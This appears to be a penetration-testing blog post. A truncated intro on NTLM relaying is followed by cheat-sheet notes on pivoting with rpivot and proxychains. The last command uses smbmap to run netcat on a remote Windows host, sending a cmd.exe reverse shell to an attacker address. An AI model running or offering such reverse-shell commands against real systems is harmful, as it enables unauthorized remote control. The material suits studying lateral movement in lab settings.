So this post is basically about why it is important to use Kerberos instead of NTLM and use SMB Signing as well. NTLM Relaying is a common man-in-the-middle attack with a high success-rate. SMB and NTLM Relaying is dangerous, as
Pivoting
rpivot https://github.com/klsecservices/rpivot Start server listener on port 9999, which creates a socks 4 proxy on 127.0.0.1:1080 upon connection from client:
|
1 2 |
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 |
Connect to Server:
|
1 2 |
python client.py --server-ip 10.1.1.1 --server-port 9999 |
Using single zip file mode:
|
1 2 3 4 |
zip rpivot.zip -r *.py ./ntlm_auth/ python rpivot.zip server <server_options> python rpivot.zip client <client_options> |
Use proxychains to launch tools through the tunnel
|
1 2 |
proxychains smbmap -u 'user2' -p 'passwd' -d WORKGROUP -H 10.11.x.49 -x 'C:\Windows\Tasks\nc.exe 10.11.0.30 1234 -e cmd.exe' |